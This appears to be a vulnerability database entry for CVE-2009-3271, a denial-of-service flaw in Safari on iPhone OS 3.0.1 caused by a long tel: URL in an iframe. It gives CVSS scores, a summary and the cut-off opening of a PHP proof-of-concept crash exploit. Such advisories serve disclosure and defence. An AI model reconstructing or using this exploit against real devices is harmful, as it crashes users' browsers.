4.3
CVSSv2

CVE-2009-3271

Published: 21/09/2009 Updated: 19/09/2017
CVSS v2 Base Score: 4.3 | Impact Score: 2.9 | Exploitability Score: 8.6
VMScore: 435
Vector: AV:N/AC:M/Au:N/C:N/I:N/A:P

Vulnerability Summary

Apple Safari on iPhone OS 3.0.1 allows remote malicious users to cause a denial of service (application crash) via a long tel: URL in the SRC attribute of an IFRAME element.

Vulnerable Product Search on Vulmon Subscribe to Product

apple safari

apple iphone_os 3.0.1

Exploits

# Apple Safari Iphone Crash using tel: # Found by cloud : cloud[at]madpowah[dot]org # blogmadpowahorg # Tested on Iphone 3G, OS 301 # Launch Safari, enter the page and after a few seconds Safari will crash and black screen will appear # Exploit: <?php set_time_limit(0); $var = ""; for ($i=0; $i<100000; $i++){ $var = $var ...